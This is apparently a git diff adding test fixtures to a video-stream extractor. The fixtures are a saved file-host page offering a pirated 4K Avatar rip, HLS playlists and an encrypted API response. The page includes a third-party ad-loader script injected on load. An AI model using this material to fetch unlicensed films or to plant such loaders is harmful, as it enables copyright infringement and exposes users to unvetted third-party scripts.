<i class="fab fa-artstation" style="font-size: 50px; color: #5090F0;"></i>
|
||||||
|
<img class="img-profile" src="https://catimages.org/images/2024/04/23/1b1be1f6932ecf270.png" style="width: 25%; filter: invert(1); margin-left: 5px;">
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
<div class="topbar-divider d-none d-sm-block" style="margin-left: -2px;"></div>
|
||||||
|
</ul>
|
||||||
|
</nav> <style>
|
||||||
|
.btn.btn-primary.btn-user1 {
|
||||||
|
background-color: #a10dff;
|
||||||
|
border-color: #ba50fd;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:hover {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #b542ff;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:not(:disabled):not(.disabled):active, .btn-primary.btn-user1:not(:disabled):not(.disabled).active, .show > .btn-primary.btn-user1.dropdown-toggle {
|
||||||
|
color: #fff;
|
||||||
|
background-color: #8102d1;
|
||||||
|
border-color:#ba50fd;
|
||||||
|
}
|
||||||
|
.btn-primary.btn-user1:focus, .btn-primary.btn-user1.focus {
|
||||||
|
box-shadow: 0 0 0 .25rem rgba(151, 51, 215, .5);
|
||||||
|
}
|
||||||
|
.nav-tabs .nav-link.active, .nav-tabs .nav-item.show .nav-link {
|
||||||
|
color: rgb(255 255 255);
|
||||||
|
background-color: rgb(13 60 125);
|
||||||
|
border-color: rgb(13 60 125);
|
||||||
|
}
|
||||||
|
.nav-tabs {
|
||||||
|
border-bottom: rgb(49, 49, 49);
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
|
||||||
|
<!-- http://caniuse.com/#feat=referrer-policy -->
|
||||||
|
<meta name="robots" content="noindex, nofollow">
|
||||||
|
<meta name="googlebot" content="noindex,nofollow">
|
||||||
|
<meta name="referrer" content="no-referrer" />
|
||||||
|
<!-- For Edge and Safari -->
|
||||||
|
<meta name="referrer" content="none" />
|
||||||
|
<script>(s=>{s.dataset.zone='9824726',s.src='https://bvtpk.com/tag.min.js'})([document.documentElement, document.body].filter(Boolean).pop().appendChild(document.createElement('script')))</script>
|
||||||
|
|
||||||
|
<div class="container-fluid">
|
||||||
|
<div id="down-id" hidden="true">7283903021</div>
|
||||||
|
<!-- Content Row -->
|
||||||
|
<div class="row justify-content-center">
|
||||||
|
<div class="col-lg-9 col-md-9 mb-4">
|
||||||
|
<div class="card shadow mb-4">
|
||||||
|
|
||||||
|
<div class="card-header py-3" style="line-break: auto; word-break: break-all; white-space: normal;">
|
||||||
|
<h6 class="m-0 font-weight-bold text-primary" align="center" style="font-size: 1.2rem;">Avatar (2009) Extended Collector's Edition IMAX 2160p UHD BluRay REMUX DV HDR 10bit HEVC [Hindi DDP 5.1 + English DTS-HD MA 5.1] x265 (LM-LUMiX) 4KHDHUB.[Com].mkv</h6>
|
||||||
|
</div>
|
||||||
|
<div class="card-body">
|
||||||
|
<div class="table-responsive">
|
||||||
|
<table class="table table-borderless" id="dataTable" width="100%" cellspacing="0" style="line-break: auto; word-break: initial; white-space: initial;">
|
||||||
|
<tbody>
|
||||||
|
<tr style="border-bottom: 2px solid rgb(63 63 63); line-height: 1.8em;">
|
||||||
|
<td>File Size</td>
|
||||||
|
<td align="right">60.21 GB</td>
|
||||||
|
</tr>
|
||||||
|
<tr style="border-bottom: 2px solid rgb(63 63 63); line-height: 1.8em;">
|
||||||
|
<td>File Type</td>
|
||||||
|
<td align="right">video/x-matroska</td>
|
||||||
|
</tr>
|
||||||
|
<tr>
|
||||||
|
<td>File Owner</td>
|
||||||
|
<td align="right">HubCloud User</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="text" align="center">
|
||||||
|
<form action="/gsign.php" method="GET">
|
||||||
|
<input name="r" value="https://hubdrive.space/file/7283903021" type="hidden">
|
||||||
|
<button class="btn btn-primary btn-user" type="submit"><i class="fa fa-sign-in fa-lg"></i> GDrive [Login]</button>
|
||||||
|
<!--button class="btn btn-primary btn-user" type="submit"><i class="fa fa-sign-in fa-lg"></i> Download [60.21 GB] [Login]</button-->
|
||||||
|
</form>
|
||||||
|
<div>
|
||||||
|
<button onclick="myDirectDownload()" id="dl-down" type="button" class="btn btn-primary btn-user1" style="margin:10px;"><i class="fas fa-file-download fa-lg"></i> Direct/Instant Download</button>
|
||||||
|
<div>
|
||||||
|
|
||||||
|
<h5><a class="btn btn-primary btn-user btn-success1 m-1" href="https://hubcloud.fyi/drive/1qepetxqp4nhxxq" target="_blank" rel="noreferrer nofollow"><i class="fab fa-artstation"></i> [HubCloud Server]</a></h5>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<br><br>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="text" align="left">
|
||||||
|
<ul class="nav nav-tabs" role="tablist">
|
||||||
|
<li class="nav-item">
|
||||||
|
<a class="nav-link active" href="#" onclick="copyLink()" role="tab" data-toggle="tab"><i class="fa fa-copy"></i> Copy Link</a>
|
||||||
|
</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
<!-- Tab panes -->
|
||||||
|
<div class="tab-content">
|
||||||
|
<div role="tabpanel" class="tab-pane fade show active" id="link">
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-body">
|
||||||
|
<p id="copyText" style="text-align:left; color:rgb(116 174 255);">https://hubdrive.space/file/7283903021</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copyLink() {
|
||||||
|
var copyText = document.getElementById("copyText");
|
||||||
|
var textArea = document.createElement("textarea");
|
||||||
|
textArea.value = copyText.textContent;
|
||||||
|
document.body.appendChild(textArea);
|
||||||
|
textArea.select();
|
||||||
|
document.execCommand("copy");
|
||||||
|
document.body.removeChild(textArea);
|
||||||
|
|
||||||
|
Swal.fire({
|
||||||
|
title: "Link Copied",
|
||||||
|
icon: "success",
|
||||||
|
showConfirmButton: false,
|
||||||
|
timer: 1500
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<!-- /.container-fluid -->
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<noscript>
|
||||||
|
alert("please enable JavaScript in your browser");
|
||||||
|
</noscript>
|
||||||
|
<script>
|
||||||
|
function myDownloadV2() {
|
||||||
|
var e = document.getElementById("down-id").innerHTML;
|
||||||
|
document.getElementById("down").innerHTML = '<i class="fa fa-spinner fa-spin"></i> Downloading.. !',
|
||||||
|
document.getElementById("down").disabled = !0;
|
||||||
|
var b = window.setTimeout(function() {
|
||||||
|
document.getElementById("down").innerHTML = '<i class="fa fa-cog fa-spin fa-lg"></i> Generating Link.. !'
|
||||||
|
}, 6e3);
|
||||||
|
|
||||||
|
window.setTimeout(function() {
|
||||||
|
$.ajax({
|
||||||
|
url: "/ajax.php?ajax=download",
|
||||||
|
type: "POST",
|
||||||
|
dataType: "json",
|
||||||
|
data: "id=" + e,
|
||||||
|
success: function(a) {
|
||||||
|
if ("200" == a.code) {
|
||||||
|
window.clearTimeout(b);
|
||||||
|
localStorage.setItem("dls", JSON.stringify(a?.data));
|
||||||
|
// window.location.href = a.file;
|
||||||
|
window.location.href = "/newdl";
|
||||||
|
|
||||||
|
} else swal.fire("Code : " + a.code, "Message : " + a.file, "error");
|
||||||
|
},
|
||||||
|
error: function(e, a, t) {
|
||||||
|
alert("Status: " + a + "\n" + t)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}, 5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
function myDirectDownload() {
|
||||||
|
var a = document.getElementById("down-id").innerHTML;
|
||||||
|
document.getElementById("dl-down").innerHTML = '<i class="fa fa-spinner fa-spin"></i> Generating Link ...';
|
||||||
|
document.getElementById("dl-down").disabled = !0;
|
||||||
|
|
||||||
|
var b = window.setTimeout(function() {
|
||||||
|
document.getElementById("dl-down").innerHTML = '<i class="fa fa-cog fa-spin fa-lg"></i>Downloading .. !';
|
||||||
|
}, 6e3);
|
||||||
|
|
||||||
|
window.setTimeout(function() {
|
||||||
|
$.ajax({
|
||||||
|
url: "/ajax.php?ajax=direct-download",
|
||||||
|
type: "POST",
|
||||||
|
dataType: "json",
|
||||||
|
data: "id=" + a,
|
||||||
|
success: function(a) {
|
||||||
|
if ("200" == a.code) {
|
||||||
|
window.clearTimeout(b);
|
||||||
|
localStorage.setItem("dls", JSON.stringify(a?.data));
|
||||||
|
// window.location.href = a.file;
|
||||||
|
window.location.href = "/newdl";
|
||||||
|
|
||||||
|
} else swal.fire("Code : " + a.code, "Message : " + a.file, "error");
|
||||||
|
},
|
||||||
|
error: function(a, b, c) {
|
||||||
|
alert("Status: " + b + "\n" + c);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}, 5000)
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<main class="min-h-screen flex flex-col" >
|
||||||
|
<header class="container mx-auto px-4 py-4 lg:text-center lg:flex lg:items-center lg:justify-between">
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
|
||||||
|
<script src='https://kit.fontawesome.com/a076d05399.js' crossorigin='anonymous'></script>
|
||||||
|
<!--
|
||||||
|
<footer class="sticky-footer bg-white">
|
||||||
|
<div class="container my-auto">
|
||||||
|
<div class="copyright text-center my-auto">
|
||||||
|
<span>Copyright © HubDrive 2026</span>
|
||||||
|
</div>
|
||||||
|
<br>
|
||||||
|
<div class="copyright text-center my-auto" style="font-size: 15px; font-weight: 600;">
|
||||||
|
<span><a href="/page/privacy-policy"><i class="fa fa-bullhorn text-danger"></i> Privacy Policy</a> | <a href="/page/terms-conditions"><i class="fa fa-book text-info"></i> Terms & Conditions</a> | <a href="/page/copyright-policy"><i class="fa fa-copyright text-warning"></i> Copyright Policy</a> | <a href="/page/contact-us"><i class="fa fa-envelope text-success"></i> Contact Us</a></span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</footer>
|
||||||
|
-->
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<!-- End of Content Wrapper -->
|
||||||
|
|
||||||
|
</div>
|
||||||
|
<!-- End of Page Wrapper -->
|
||||||
|
|
||||||
|
<!-- Scroll to Top Button-->
|
||||||
|
<a class="scroll-to-top rounded" href="#page-top">
|
||||||
|
<i class="fas fa-angle-up"></i>
|
||||||
|
</a>
|
||||||
|
|
||||||
|
<!-- Logout Modal-->
|
||||||
|
<div class="modal fade" id="logoutModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
|
||||||
|
<div class="modal-dialog" role="document">
|
||||||
|
<div class="modal-content">
|
||||||
|
<div class="modal-header">
|
||||||
|
|
||||||
|
<h5 class="modal-title" id="exampleModalLabel">Are you sure?</h5>
|
||||||
|
<button class="close" type="button" data-dismiss="modal" aria-label="Close">
|
||||||
|
<span aria-hidden="true">×</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div class="modal-footer">
|
||||||
|
<button class="btn btn-secondary" type="button" data-dismiss="modal">Cancel</button>
|
||||||
|
<a class="btn btn-primary" href="/login.php?action=logout">Logout</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<!-- Bootstrap core JavaScript-->
|
||||||
|
<script src="/assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Core plugin JavaScript-->
|
||||||
|
<script src="/assets/vendor/jquery-easing/jquery.easing.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Custom scripts for all pages-->
|
||||||
|
<script src="/assets/js/sb-admin-2.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Page level plugins -->
|
||||||
|
</body>
|
||||||
|
|
||||||
|
</html>
|
||||||
|
|
@ -1,10 +1,10 @@
|
||||||
#EXTM3U
|
#EXTM3U
|
||||||
|
|
||||||
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="Deutsch",LANGUAGE="de",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a1.txt"
|
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="Deutsch",LANGUAGE="de",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a1.m3u8"
|
||||||
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="English",LANGUAGE="en",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a2.txt"
|
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="English",LANGUAGE="en",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a2.m3u8"
|
||||||
|
|
||||||
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=857863,RESOLUTION=1280x720,FRAME-RATE=24.000,CODECS="avc1.4d4028,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=857863,RESOLUTION=1280x720,FRAME-RATE=24.000,CODECS="avc1.4d4028,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
||||||
index-f1-v1.txt
|
index-f1-v1.m3u8
|
||||||
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=2132409,RESOLUTION=1920x1080,FRAME-RATE=24.000,CODECS="avc1.640029,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=2132409,RESOLUTION=1920x1080,FRAME-RATE=24.000,CODECS="avc1.640029,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
||||||
index-f2-v1.txt
|
index-f2-v1.m3u8
|
||||||
|
|
||||||
|
|
@ -1,6 +1,6 @@
|
||||||
#EXTM3U
|
#EXTM3U
|
||||||
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=861762,RESOLUTION=1280x720,FRAME-RATE=24.000,CODECS="avc1.4d4028,mp4a.40.2",VIDEO-RANGE=SDR
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=861762,RESOLUTION=1280x720,FRAME-RATE=24.000,CODECS="avc1.4d4028,mp4a.40.2",VIDEO-RANGE=SDR
|
||||||
index-f1-v1-a1.txt
|
index-f1-v1-a1.m3u8
|
||||||
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1739697,RESOLUTION=1920x1080,FRAME-RATE=24.000,CODECS="avc1.640029,mp4a.40.2",VIDEO-RANGE=SDR
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1739697,RESOLUTION=1920x1080,FRAME-RATE=24.000,CODECS="avc1.640029,mp4a.40.2",VIDEO-RANGE=SDR
|
||||||
index-f2-v1-a1.txt
|
index-f2-v1-a1.m3u8
|
||||||
|
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
#EXTM3U
|
||||||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1222837,RESOLUTION=1280x640,FRAME-RATE=24.000,CODECS="avc1.64001f,mp4a.40.2"
|
||||||
|
index-f1-v1-a1.m3u8
|
||||||
|
|
||||||
|
|
@ -0,0 +1,10 @@
|
||||||
|
#EXTM3U
|
||||||
|
|
||||||
|
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="Deutsch",LANGUAGE="de",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a1.m3u8"
|
||||||
|
#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio0",NAME="English",LANGUAGE="en",AUTOSELECT=NO,DEFAULT=NO,CHANNELS="2",URI="index-f1-a2.m3u8"
|
||||||
|
|
||||||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=874807,RESOLUTION=1280x640,FRAME-RATE=24.000,CODECS="avc1.64001f,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
||||||
|
index-f1-v1.m3u8
|
||||||
|
#EXT-X-STREAM-INF:PROGRAM-ID=1,BANDWIDTH=1965310,RESOLUTION=1920x960,FRAME-RATE=24.000,CODECS="avc1.640028,mp4a.40.2",VIDEO-RANGE=SDR,AUDIO="audio0"
|
||||||
|
index-f2-v1.m3u8
|
||||||
|
|
||||||
1
src/extractor/__fixtures__/KinoGer/https:filma365.strp2p.siteapiv1videoidvih6bx
generated
Normal file
1
src/extractor/__fixtures__/KinoGer/https:filma365.strp2p.siteapiv1videoidvih6bx
generated
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
1306b9d3b781eef66a55e4504000e07119f8d77c9fb1f89a7d3cbc0fbca0c1b9c7ce72ab6465c6c1e7d6475dd033af4a298c02235926bc14f75e2401198af0b909dc851db4662074e3677e743ad0510fce06a4843070e1485ef79cceba75362f047a7193eeb4bd62728e651af2a2d543ffb04abfccf844cb9a0949c2428e5a0fac3d232b035fd20d57de4ec37de3b08440dfad46b59e02721f93162a8063aa38a6904dab237dcc0292abd3fda7fbe218b35a5eb294a484674980fe593bbd9b4400403223392650acaaa3cf494836b51daf94143ac0379f8d60811127baa8aca56b9ec34be8c9ef540abc0d553d82a97581ab8a2ed109d8f66de565e4042d2644403e605f0c70a7a04e40ddc7856fdc0bb0686bc868c6473e6d33a5016d4033453f27f8e8a63f78a1463df075bc3d040338e1c225f379b44d1b83c83480fb515c7b80c1a9f7d8014bba2cb1c5c02ce3dd3812b698c5ab25d44821788a8e15fc2291a04ff1f3ef2d2c003c7a405483cb5b19ec6a626b979845ce5ac39335c9b49d4813b454132eafd87c2852bc3382d5f53cec3a4ac6f4153996f059fd4df79e98e0a60cd5298517b0f0eb5df122742619f86886098b838751617d4f423d8e636500348c71e73f6f249aca22567ccbb923e7acff0236726e13cdbac46a907806c5a703ef04b7a52b4b2eceb8611ca28cc5acd70358324aa18e2963492b3fc6de6effd49f0fd5513c5316c5ebb38e060d912388678e891f1cff860eb8f8f3edbbafb2b8a855707c5d1814f7a9a514b83048f04b07a8dd0ed19f7fd432609b6c6ff9820d99c9a5ab5399642d369b59ed0bab9015cd412712593c3d5070ccfd8b65ed8b2515b5494cf927ad4dfb31d850d21af7c39df5c8aa54b89d788039907902be1e7ccdc9f63e0230b3f4df152c5ce0b56d03930cc55b748b510707639d91719be3a88be337c7103395840c962a4f31cb3a289ce70d14a18b86f7eab6723d88276ca0b6ef6fdc845f28e561d164cfc402e27ce619e9028301834372d80bb8706b9730df03b4d6cb30a3f90bdb4c2900122a202c3eec76195a93ef5d678af9480663d6a705eb62fd9dd853b07181fdc8f23714774273f8e8f4726b94b1897ad392da908b3143b2682d9c8bba3c419ce12284269a382ab8793125dfa1cb03d929aeb8651b68e7d3d3702f6c35e9dea31bc294685b47fe2009f5b3ad9174eda6167d2c03e1eebe8d115fca351ed24eaa21847fe7aad79bfa5e426d76ddc5e6d10b9b579f9a985a19fe3ac02c25c82a105c16dc77a65317cc4f120ca83c8738318b1173cac41dd5b142d303641c231c84c8db33079e67064a7f25c1f76a64fe35db550bfd63ea1b52c893a725c935a60e40bab137f1a24e854f48df2f736e165c0ffac5a42cdc9d2199949e3e6b7beba1c63980a7459918a2f8c0507fef04fd9b8ca9ed265db8e79e315ebf1c691d30f13a3fcf62a3d0189c280b873f6e33292b2b5783f124dbf1e08aa8581216d537289fb176130682bad25403429f71139791ee374d27f2d328c03ca9230cac759842ef07cef9a77484e31d817c85b44c503ff9dc8b28683694f55586145dd37e83ac07fd0c60ad20ab9b735ef25e3785e68fea281b756bdb41f0d0ace2307b376b370036ea4129a363c9775a2c726d16166cd6a60319e176a5e3efaee7ef2d4bb3381c524b6d1cc04d8cc3ec83feb7edb0963da2364bc8ad9a7ed68be852801c578dd918cb8c10d6ad2fb26b627ce0bc97f58ae9432d61dccfdcb069b97f11e06184b0e30b15bfe789cb55a079eb6af22231774e9bcafc484249e540a2c9f3b2b0d5215869ae4dcc2e9fbf0f94b2c7158b474b2e428a9edba859759d74268ac5a89fa1277aa57da271e6867e597d929dd032448b87d9a4fb07e0da85e72f88fcc9223fa170555dc8a1275d63c17055484e05f1cb2dfaa6ff627cc2d323e7c2c94d595737136b8c39533506770e59ee7073e2311ef8c07f4852ad2944f4c60a3c74a650af3a95b2ea607921459d0cd0d458b21ca55b5e98c88fe191b5cea056a91ef6df0c73649bd0ff5138fb11b64a6ee657ebc9890a613a21f043e85ac7ac4a1fe93dd1299bbd33359f53f452830d666528de1163a0dbdc577e35e29c9956d466e798ea04114a94f602167d051d3b852f0716024f9d4002b52709709ac101b0295706dc1a700817b58023304a73ecdaa427b6bd03dd0dc2d8a8e3ee651714f38490fdc0e4bb9d2e9216af776ed80e5b4c1486b3d1518c4a5e60189096ce0c5ebea114dc241830addcd83d50cd21b610cde607f2aa34c9e0f801efcbcb8e5cd3e02b8893eb1c1d74b35e7a29d28b6992bacd9f32e68d16976fa6ec00ac1ace6c3f3fe37c4df63da295c4741497f3c75896c3cdfddfb50125522e0cf24d4ecfc283d5356edb7a3e23fbd2e546c7d1c6ea5f19e34ae033417562402fdf442687887b431dc4cca9c4374b7bcaef879b3d7c351bf97d0820b606297bc1945057b6f1bba9c4add3263e89422254efaaf5217675e66103110f11bb63c956a3f15d2b867983bdf9ef0f7b1feebce14b0e32b76aaad2af336d512ef469aee64742a9c3e73215263e9dad5e82aebfaccc4ffd045dcadf98338aaacec7a1da9710e327b99e94b7a060915cc4c956ac6d576159a6b40f5e6df367ac2a4f20da109a9a6055d09c4886a85eb5fd0efe3740e744fd52acdd4a9e153bdd2f0bf5ff8e97391675c2774bf2f7daf2f4ea11ec2ed5ba89a5e5405b0f9c794036c21d08c528f96c15e2298c33ab29303d99f69d577b9556e87a1b56dbe6ac48b33f350edd34fdaefd5c10aa667cf480a83d9c82c065d77849996ca018d4b00b91ae6f5139e2202bf7ce776c43e9f6084473f8348caa749b2f99753bd1954b9093c4b51901c5a8cbb685d75b170428d5a3a0340ec733674d29ad69422ad1231ac2c55dc57947d5357d7bdf1b27c52fb232e32201082b21e890c8e365ec246f2e5b313376605ba4135daaa386601ca4316390e86f23c4da35e1396d683fcc46d6c95dd2ccbb851851f7b83b61607f37c9d0b245bb7d817888cefa3468709ae34c2fdd4f4a039099fda4ea38a67af0334700dccbfabe9a103bd8ef40f0ba46140e7f78bc13b97fb3194c5ce11aa00d4ed90dfd8eb68176df5776ae77da621d1301df5f8974fe12ffb775bfb4c1968267d90e80fb1ca15660802208d64b2573
|
||||||
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue